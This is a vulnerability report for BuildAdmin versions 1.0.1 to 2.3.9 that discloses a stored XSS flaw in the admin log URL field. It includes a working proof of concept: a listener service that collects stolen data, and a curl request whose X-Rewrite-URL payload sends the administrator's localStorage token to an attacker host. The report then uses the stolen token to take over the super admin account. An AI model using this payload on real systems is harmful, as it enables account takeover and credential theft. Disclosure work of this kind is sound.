# BuildAdmin Vulnerability Report Software: BuildAdmin Developer or vendor: build-admin Code repository: https://github.com/build-admin/BuildAdmin ## 1. Stored XSS in the URL Field of the Admin Log Brief description: An unauthenticated request can store a `javascript:` script in the admin log, and the script runs in the backend when an administrator clicks the entry, taking over the victim's account. Affected versions: 1.0.1 to 2.3.9 Introduced in: [BuildAdmin commit 49349b38](https://github.com/build-admin/BuildAdmin/commit/49349b382fab63c8d7e256b725e4489ba308f5cf) Preconditions: An administrator clicks the open button in the URL column of that entry in the admin log list. ### Root Cause The backend application registers the `AdminLog` middleware (`app/admin/middleware.php:4`). It writes an operation log for every POST and DELETE request (`app/common/middleware/AdminLog.php:19-20`, `auto_write_admin_log` defaults to true), and requests without a session are logged as well. The log fields are assembled by `record()` in `app/admin/model/AdminLog.php`: ```php # app/admin/model/AdminLog.php:145-153 commit 26daeaf24f self::create([ 'admin_id' => $adminId, 'username' => $username, 'url' => substr(request()->url(), 0, 1500), 'title' => $title, 'data' => !is_scalar($data) ? json_encode($data) : $data, 'ip' => request()->ip(), 'useragent' => substr(request()->server('HTTP_USER_AGENT'), 0, 255), ]); ``` `request()->url()` reads the `HTTP_X_REWRITE_URL` request header first and falls back to `REQUEST_URI`: ```php # vendor/topthink/framework/src/think/Request.php:414-424 commit 26daeaf24f public function url(bool $complete = false): string { if ($this->url) { $url = $this->url; } elseif ($this->server('HTTP_X_REWRITE_URL')) { $url = $this->server('HTTP_X_REWRITE_URL'); } elseif ($this->server('REQUEST_URI')) { $url = $this->server('REQUEST_URI'); ``` The client supplies that header, and `record()` performs no scheme validation before writing it into the `url` field unchanged. The URL column of the admin log list uses the url renderer (`web/src/views/backend/auth/adminLog/index.vue:91`). The open button assigns the cell value to `location.href`: ```ts // web/src/components/table/fieldRender/url.vue:32-38 commit 26daeaf24f const openUrl = (url: string, field: TableColumn) => { if (field.target == '_blank') { window.open(url) } else { window.location.href = url } } ``` A log entry that begins with `javascript:` therefore executes when an administrator opens it. The frontend keeps the admin token and refresh_token in `adminInfo` in localStorage (`web/src/stores/adminInfo.ts:54-56`), and a script that reads this key obtains the administrator credentials. ### Reproduction Environment Prepare PHP 8.2, MySQL 8 and Node.js 22 as the official documentation describes, then clone the source and start the installer: ```bash git clone https://github.com/build-admin/BuildAdmin.git cd BuildAdmin composer install php think run ``` Visit `http://127.0.0.1:8000/` and complete the installation in the browser. The installer builds the frontend automatically. Set the database to `buildadmin_com`, the administrator account to `Admin`, and the password to `Admin@12345`. On the attacker host, run a service that records requests: ```python import html from pathlib import Path import uvicorn from fastapi import FastAPI, Request from fastapi.responses import HTMLResponse LOG = Path("stolen.log") app = FastAPI() PAGE = """ stolen adminInfo

stolen localStorage.adminInfo

{data}
""" @app.get("/steal") async def steal(request: Request): data = request.query_params.get("d", "") with LOG.open("a") as f: f.write(data + "\n") return HTMLResponse(PAGE.replace("{data}", html.escape(data))) @app.get("/log") async def log_page(): data = LOG.read_text() if LOG.exists() else "" return HTMLResponse(PAGE.replace("{data}", html.escape(data))) uvicorn.run(app, host="127.0.0.1", port=18999) ``` Start it: ```bash uv run --with fastapi --with uvicorn python server.py ``` In the steps below, `127.0.0.1:18999` stands for that host and port. ### Reproduction Send a failed login request without a session, carrying the script in `X-Rewrite-URL`: ```bash curl -s -X POST 'http://127.0.0.1:8000/index.php/admin/index/login' \ -H "X-Rewrite-URL: javascript:void((new Image).src='http://127.0.0.1:18999/steal?d='+encodeURIComponent(localStorage.getItem('adminInfo')))" \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'username=xssprobe&password=wrongpass' ``` The response reports the failed login, and the log already holds one more entry: ```json {"code":0,"msg":"验证码ID不能为空","time":1794450578,"data":null} ``` ```sql mysql> select id,admin_id,username,url from ba_admin_log\G *************************** 1. row *************************** id: 1 admin_id: 0 username: xssprobe url: javascript:void((new Image).src='http://127.0.0.1:18999/steal?d='+encodeURIComponent(localStorage.getItem('adminInfo'))) ``` Log in to the backend with the administrator account and open Admin Log under Permission Management. The entry with ID 1 and admin username `xssprobe` is there, and the URL column shows the content beginning with `javas`: ![](img/04-adminlog-list.png) Click the open button in the URL column of that row, and the script stored in the log runs. The attacker host receives the administrator credentials: ```json {"id":1,"username":"admin","nickname":"Admin","avatar":"/static/images/avatar.png","last_login_time":1794450596,"token":"d894fb9c-49b7-4d42-acd0-264c8c4815f8","refresh_token":"","super":true} ``` The listener also displays this request: ![](img/05-stolen.png) Request the admin list with the `token` from it. The endpoint returns the group of the super admin together with the account details: ```bash curl -s -H 'batoken: d894fb9c-49b7-4d42-acd0-264c8c4815f8' -H 'server: true' \ 'http://127.0.0.1:8000/admin/auth.admin/index?limit=2' ``` ```json {"code":1,"msg":"","time":1794450635,"data":{"list":[{"group_arr":[1],"group_name_arr":["超级管理组"],"id":1,"username":"admin","nickname":"Admin","avatar":"\/static\/images\/avatar.png","email":"admin@buildadmin.com","mobile":"18888888888","last_login_time":1794450635,"last_login_ip":"192.168.64.1","motto":"","status":"enable","update_time":1794450635,"create_time":1794450550}],"total":1,"remark":""}} ``` Write the stolen `adminInfo` into the browser's localStorage unchanged and open the admin management page in the backend. It opens as the super admin: ![](img/06-takeover.png)